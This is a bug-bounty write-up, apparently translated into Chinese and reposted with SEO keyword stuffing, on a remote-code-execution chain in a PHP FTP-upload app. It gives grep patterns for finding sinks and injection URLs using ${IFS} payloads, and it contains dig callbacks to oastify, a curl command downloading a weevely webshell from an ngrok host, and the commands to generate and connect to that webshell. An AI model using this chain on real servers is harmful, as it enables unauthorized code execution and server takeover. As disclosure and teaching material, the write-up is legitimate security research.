企业网站源码php-泄露的 PHP 源代码中的硬核 RCE 价值 3000 美元!

免责声明:本公众号文章大部分来自作者日常学习笔记,部分文章经作者授权及其他公众号白名单转载。 未经授权严禁转载。 如需转载,请联系开百。

请勿借助文章中相关技术进行非法测试,由此造成的任何不良后果与文章作者及本公众号无关。

现在只有经常阅读、有明星的公众号才会展示大图推送。 建议大家“定潇湘新安为明星”,不然可能看不到!

前言

这篇文章可以认为是我之前耗资 10,000 美元的研究成果的延续。 此前,我可以通过 RCE 漏洞所在的公共 .git 目录访问源代码。 研究完这个漏洞后,我继续检测其他漏洞的代码。 幸运的是,我发现了另一个更复杂的 RCE,具有目录创建功能,你一定会喜欢它 =)

注意:我建议阅读我之前的文章,了解如何访问此 Web 应用程序的源代码。

第0章

首先,要查找源代码中的漏洞,您需要识别潜在的入口点。 像 SonarQube 这样的工具可以用于此目的,但我更喜欢使用老式的 grep。

以下是 PHP 的一些示例:

跨站脚本

grep -Ri "$_" . | grep "echo"grep -Ri "$_GET" . | grep "echo"grep -Ri "$_POST" . | grep "echo"grep -Ri "$_REQUEST" . | grep "echo"

命令执行:

grep -Ri "shell_exec(" .grep -Ri "system(" .grep -Ri "exec(" .

代码执行:

grep -Ri "eval(" .grep -Ri "assert(" .grep -Ri "preg_replace" . | grep "/e"

SQL注入:

grep -Ri "$sql" .grep -Ri "$sql" . | grep "$_"

射频干扰/低频干扰:

grep -Ri "file_include" .grep -Ri "include(" .grep -Ri "require(" .grep -Ri "include_once(" .grep -Ri "require_once(" .grep -Ri "require_once(" . | grep "$_"

第1章

扫完代码,我重点关注了这部分,这里用到了@exec()函数。 通过这个函数企业网站源码php,我会尝试获取RCE。

该代码的目的是确定文件的大小。 首先,在第 40 行,调用 scandir(),返回目录内容字段。

接下来,通过 preg_replace() 过滤文件和目录的名称,并将其发送到 @exec() 调用所在的 filesize64() 函数。

很酷,但是此代码不接受任何用户输入进行注入,除了 /home/html/ftp-upload/uploads/OELxI386/ 目录的内容,我无法控制该目录。 所以我把这个代码搁置了几个星期......

第2章

一段时间后,我决定仔细检查我之前的 RCE 是如何修补这个资源的。 我正在尝试不同的有效负载,并偶然发现,如果我在 adduser 参数中指定两个由空格分隔的值 test%20somename,例如在以下 URL 中:

http://example.com/ftp-upload/sync.php?adduser=test%20someuser&secret1=[secret1]&secret2=[secret2]

%20 空格旁边的值将用于在与 PHP 文件相同的位置创建一个同名的目录。

负责此操作的代码:

因此,通过空格传递值,创建目录的代码将如下所示:

mkdir /home/html/ftp-upload/uploads/test somename

第3章

创建自己的目录的能力让我产生了使用它向@exec()注入有效负载并使用这条链来实现RCE的想法。

第一个想法是尝试创建一个名称中包含有效负载的目录,该目录将向我的服务器发送请求。 如果请求到达,则代码已成功执行。

为此,我使用了 dig 命令:

dig%20rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com

为了让 scandir() 读取具有这样名称的目录,我们在 uploads/OELxI386/ 中创建它

http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig%20rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]

但它不会执行任何操作,因为有效负载中使用了空格,并且当它进入 mkdir 命令时,空格分隔有效负载并创建三个目录:

mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com

因此,我们的payload不应该包含空格,可以用${IFS}替换。

http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`&secret1=[secret1]&secret2=[secret2]

伟大的! 名称中包含有效负载的目录已创建,现在我们需要使用易受攻击的函数运行脚本来读取该目录的内容。为此,我们需要访问

http://example.com/ftp-upload/testSize.php

我们看到脚本已经生效了:

并且请求已经成功到达,那就是远程代码执行!

让我们重复一下这里发生的事情:

1. 我们发送请求以在我们需要的位置创建包含有效负载的目录:

http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]

2. 有效负载被发送到创建目录的脚本。

将在服务器上执行的命令是:

mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com

3.我们启动目录读取脚本:

http://example.com/ftp-upload/testSize.php

该脚本读取目录 /home/html/ftp-upload/uploads/OELxI386/(我们将有效负载上传到其中)的内容,并将其传递给 filesize64() 函数,该函数调用有效负载的代码。

它被传递到 filesize64() 函数,其中使用我们的有效负载调用代码。

第四章

剩下的就是上传一个 shell,以便在服务器上不受限制地执行代码。

企业网站源码php-泄露的 PHP 源代码中的硬核 RCE 价值 3000 美元!

让我们继续复制步骤:

1.使用weevely创建shell并保存为txt

weevely generate 123pass shell.txt

2. 创建一个index.php 文件,该文件将在我们的服务器上用于上传shell。

<?php$attachment_location = "shell.txt";if (file_exists($attachment_location)) {header($_SERVER["SERVER_PROTOCOL"] . " 200 OK");header("Cache-Control: public");header("Content-Type: plane/text");header("Content-Transfer-Encoding: Binary");header("Content-Length:".filesize($attachment_location));header("Content-Disposition: attachment; filename=shell.php");readfile($attachment_location);die();} else {die("Error: File not found.");}

当对该脚本发出请求时,存在漏洞的服务器将获取我们的 shell.txt 并将其保存为 shell.php。 这样,shell.php就会被上传到存在漏洞的服务器上。

3.搭建本地PHP服务器并使用ngrok建立隧道连接

php -S 127.0.0.1:8889 index.php

ngrok http -subdomain=rce 8889 -scheme http -scheme https

4. 最后一步是创建最终有效负载以将 shell 上传到服务器。

由于服务器仍然具有过滤功能,我进行了一些头脑风暴,结果得到了以下有效负载:

uploads/OELxI386/`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`

有效负载将在易受攻击的服务器上执行以下命令:

cd error #转到可写目录curl rce.eu.ngrok.io -o shell.php #将shell下载到易受攻击的服务器的命令

代码中无法使用斜杠企业网站源码php,因为服务器使用 preg_match('/[/:”*?|]+/', $f) 的形式进行过滤。

http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]

企业网站源码php-泄露的 PHP 源代码中的硬核 RCE 价值 3000 美元!

5.我们调用脚本来执行代码

http://example.com/ftp-upload/testSize.php

之后我们的服务器收到一个请求

我们检测error/目录下是否有shell

在那里!

6. 剩下的就是连接到它并执行命令

weevely http://example.com/ftp-upload/errors/shell.php 123pass

现在我们可以去附近的夜总会庆祝一下。

经过几天的修正,团队奖励了我一笔赏金(按照传统,激励截图=))

这次他们给我的工资比我想象的要低很多,公司是这样解释的:

这是在自托管平台上查找错误的缺点。

我希望我也向您阐明了一个有趣的剥削案例。 快乐的狩猎和丰厚的赏金!

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悟空资源网 网站源码 企业网站源码php-泄露的 PHP 源代码中的硬核 RCE 价值 3000 美元! https://www.wkzy.net/game/145186.html

常见问题

相关文章

官方客服团队

为您解决烦忧 - 24小时在线 专业服务